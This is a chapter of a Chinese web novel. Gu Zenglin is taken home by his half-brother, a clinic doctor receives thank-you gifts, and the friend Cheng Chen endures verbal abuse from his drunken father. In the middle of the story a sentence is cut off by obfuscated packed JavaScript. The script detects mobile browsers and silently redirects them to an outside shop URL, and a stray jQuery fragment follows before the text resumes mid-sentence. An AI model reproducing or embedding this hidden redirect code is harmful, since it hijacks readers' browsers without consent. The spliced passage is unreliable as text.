19. 无聊的道谢

作品:《抱薪救火

    顾赠林又是一夜没睡,站在阳台外,借着微弱的光呆板地看着楼下的空地。在异乡遇见同父异母的哥哥,当时激起的情绪在此刻逐渐冷静下来,这样的情绪很暧昧,以至于他难以表述,内心感到无比厌烦。


    顾迟在七点的时候出现在了楼下,这儿的太多宽窄不一的巷口,他花了些时间才停车。


    “你来这儿之后醒挺早。”


    “我没睡。”


    “……”


    顾赠林看他衣服上一身灰,知道他在楼梯间里就碰了壁,“你要不去阳台看看?”


    顾迟一进屋子就感觉难以下脚,无死角的审视屋内的一切,对顾赠林的提议感到莫名其妙,“为什么?”


    “你去了就知道了。”


    顾迟狐疑地走过去,以为是阳台有什么东西,随后就听见了“咚”的一声,他不仅撞了一下头,脚下还绊了一下,“嘶——”


    计谋得逞,顾赠林无辜地看着他,顾迟见周围这环境,知道他这几天住这里也不好受,忍一时没发作,“你昨晚上在哪儿?”


    “在家啊。”


    顾迟在厨房里逛了一圈,“你还做饭?”


    “不是我做的,我邻居做的。”


    顾迟去厕所看了一眼,“你这破衣服又不要了?”


    “弄脏了嘛。”


    顾迟去学习屋里看了一眼,“这屋子干嘛用的?这么小。”


    “没看见桌子上的笔吗?肯定是学习的地方呀,以后我就在那儿学习。”顾赠林故意说给顾迟听,对方退出来后,以一种一言难尽的神情看着他。


    顾迟去卧室看了一眼,顾赠林站在原地,挠了挠眉心。


    “顾赠林!”


    顾迟从卧室里出来。


    “又怎么了?”


    “你床上那个灰毛是谁?!”


    顾赠林歪了一下头,“我的邻居,他给我做饭,我收留一下他。”


    “……”顾迟怒目圆瞪,“我就知道让你一个人在外面准没好事,现在就收拾东西,跟我走。”


    “这儿的东西我一件也不想带走,我们现在就走吧。”


    顾迟一副秋后算账的模样,顾赠林忍不住看向别处。


    “那灰毛呢?”


    “他醒了就走了,这儿又没什么值钱的东西了。”


    “回去再和你慢慢算账。”


    半小时后,顾赠林应顾迟要求,他们站在晓儿姐的诊所门口,顾迟去车里拿东西了。


    晓儿姐发现了站在门口的顾赠林,有些意外,“诶?林赠,你这么早来干嘛?哪儿不舒服?”


    顾赠林有些尴尬地望向顾迟离开的方向,“晓儿姐,我要走了,和你说一声。”


    晓儿姐估摸他不是要走会提前说的性子,有些怀疑,“你走哪儿去?”


    “……我要先回家一趟。”


    “你自己走?”


    “我哥来接我了。”


    “这样啊……”晓儿姐很是喜欢顾赠林这张脸,就趁他走之前使劲儿看两眼,“琛儿呢?”


    “程琛还病着,这会儿还在睡,午饭的时候晓儿姐可以给他打个电话,他在我家。”


    他们有一句没一句的聊着,顾迟回来时提着一大箱水果和一盒茶叶走过来。


    “……”顾赠林半眯着眼瞧他。


    “这位是……”


    “谢医生您好,前段时间我们在线上聊过,我是——”顾迟顿了一下,顾赠林感觉一旁传来寒光,“林赠他哥。这段时间多亏你的照顾了。”


    “原来是林赠的哥哥啊。”晓儿姐的眼神在他们两个人身上来回打量,鉴于第一印象,她得说些好话,“称不上是照顾,林赠这孩子挺懂事的,也挺听话的。”


    “还得是多亏了您的照顾,这点薄礼请您收下。”


    晓儿姐的第一反应就是推脱,直到顾赠林发现他哥还带了一个锦旗。


    顾赠林看着锦旗上面的字,“……你故意的吗?”


    顾迟无视顾赠林的问话,还在和晓儿姐相互客气,顾赠林出面打断他们。


    “姐姐,你收下吧,这不是很贵重,是我哥的心意,你要是不收他回家就该说我了。”


    顾迟,“……”


    “说你什么?”


    “说我在这儿犯了浑,让姐姐连谢礼都不收,会打我的。”


    顾迟嘴角抽搐,“……我什么时候打过你?”


    顾赠林也故意不理他,可怜巴巴望着晓儿姐。


    “这……”晓儿姐看向顾迟的眼神里已经不似刚才客气,多了几分警惕,“你们怎么回去?”


    “……”顾迟看着她态度有所转变,手里的东西也举酸了,“谢医生,我们赶时间,有机会的话我们下次再聊……”


    顾迟放下手里的东西,拽着顾赠林赶紧离开,为了给这场闹剧有个很好的收场,顾赠林还特意回头给晓儿姐挥手道别,好让她放心,仿佛是一场演出的谢幕。


    临近中午的时候,程琛醒来,他立马就意识到顾赠林已经离开了,抬手摸着自己的脖子,和顾赠林待在一起的这两天,他有些分不清是梦境还是现实。


    顾赠林来时没带什么东西,屋子里的东西很少,程琛察觉到顾赠林走时什么东西也没带,就连厕所里林赠随手扔的那几件衣服也原封不动的放在那里,营造出了他还会回来的假象。


    时间刚过十二点,晓儿姐来电。


    “琛儿,好点没?”


    “怎么了晓儿姐?”


    “你还问我怎么了?林赠走之前说你病得严重,我担心你。”


    程琛收整好情绪,给晓儿姐说,“我没事,已经好多了。”他现在急需一些东西转移注意力,“有需要我帮忙的地方吗?”


    电话那头的晓儿姐一愣,“你这孩子……来诊所吧。”


    还没从宿醉缓过来的六七躺在诊所的床上,伸手扒拉了一下旁边的千勃,“我昨天喝了多少,顾川他疯了吧,干嘛怂恿我一直喝。”


    “大哥,是你拉着顾川一起喝的。”千勃无情的拆穿他,“人都走了你还抱着瓶子不放,不是说好只唱歌的吗?”


    “平时忙着看店,好不容易放松一下,为什么不能喝?你站着说话不腰疼,你怎么不喝?”


    “我又不兴那玩意儿。”


    六七揉着太阳穴,阿水还是和往常一样沉默。


    程琛来到诊所,他们刚吃完饭,晓儿姐特意给程琛留了一份。


    “琛儿啊,你太不厚道了,昨天怎么跑了?”


    “他生病了你们还拉着他喝酒。”晓儿姐责怪一眼六七,招呼程琛在身边坐下。


    “这不琛儿自己说的可以嘛。”六七讪讪道,“姐,你也知道我这人就是粗神经,下次不会了。”六七看向程琛,“林赠真走啦?不是因为昨天让他出来玩,我喝醉了说什么了吧?”


    程琛没什么胃口,在饭菜里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974181|193485||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    挑挑拣拣,“不是。”


    “你还担心自己喝醉了会说什么?哪儿有人第一次约出去就喝酒的?今天林赠走的时候来过诊所,他哥带着来的。”


    六七一听来了兴致,一下坐起身,千勃也投去好奇的目光。


    “真的?他哥咋样?”


    “……还,行,就那样吧。”晓儿姐有些艰难地说道,朝对面桌子上的东西扬了扬下巴,“喏,他哥还带了谢礼呢。”


    六七下床,拿起盒子左看右看,“我刚才就想问了,我还以为蒋哥送来的呢。这是啥,茶叶?”


    “还有一箱水果,一面锦旗呢。”


    程琛抬头。


    ——妙手治沉疴,仁心救痴病。


    程琛,“……”


    六七略显失落地躺了回去。


    “你们昨天一起出去,小川还是那样吗?”


    “可不是,跟人欠他似的。”


    晓儿姐无奈道,“他这孩子面皮薄,又是从别的地方来,跟你们玩不到一块很正常,就不能对人家多包容一点?”


    “那林赠也是外地来的,也不像他那样啊。他刚来那会儿被人揍得一身都是伤,我们谁也没戳他痛点,是他一直不接受咱的好意还摆脸色。”


    “我吃饱了。”程琛收拾眼前残局,晓儿姐有些担心他,“快开学了,你就别去找那些兼职了,就在店里帮帮忙,你现在还是要以学业为主。”


    程琛虽面上答应的好好的,日子又回到和从前一样,找找临时工或者小时工,运气好的话,偶尔遇见摆宴席的,去当个临时服务员,从早八点干到晚十点,从上菜到洗碗,可以拿到五十到一百不等。


    “你是不是和你妈一样,不想管老子了?”


    程琛回来时,程利民躺在沙发上,看地上杂乱的脚印,应该是有人来过了。


    程琛没有理他,收拾起屋子。


    “你哑巴了?老子问你话呢,你是不是想和你妈一样丢下老子不管?”程利民把脚边的酒瓶踹向程琛,程琛依旧捡起来。


    “……草。”程利民抹了把脸,“生了这么没用的东西,你是要个女的都还有点用。”


    程琛睨了他一眼,“你还真是对得起自己。”


    “你以为你就是个东西了?”程利民突然饶有兴味地看着他,“要不是你带个把,浪费你妈的一张脸,咱爷俩少吃多少苦?”


    程琛皱眉,这种话不知道程利民说过多少次,无论哪次都会被他恶心。


    “小时候带你上街,都有人问我你多少钱呢,要不是你妈拦着——”


    “够了。”


    程利民看着他手里紧攥着的酒瓶,“想打老子吗?老子死了你就一个人了。”


    “你真不觉得恶心吗?”


    “恶心?我和你妈上床的时候你又不是没见过,现在和我装什么清高?天天往外面跑,别以为我不知道你去哪儿,不就是去找诊所那个晓丫头吗?她老公在外地务工,一个人女人独自在家,你……”


    程琛手里拿着酒瓶,朝他吼道,“闭嘴!”


    “呵……说你痛处了?你别以为你那点自尊心就够你活一辈子,贱骨头就是贱骨头。”


    程利民起身,从他身边撞过去,“养你不如养条狗,至少知道摇尾巴。”


    阳台的门已经修好了,没有冷风灌进来了,灯却坏了一盏,程琛有些无力地稳住身体,他痛恨从麻木状态里脱身的自己,哪怕一刻。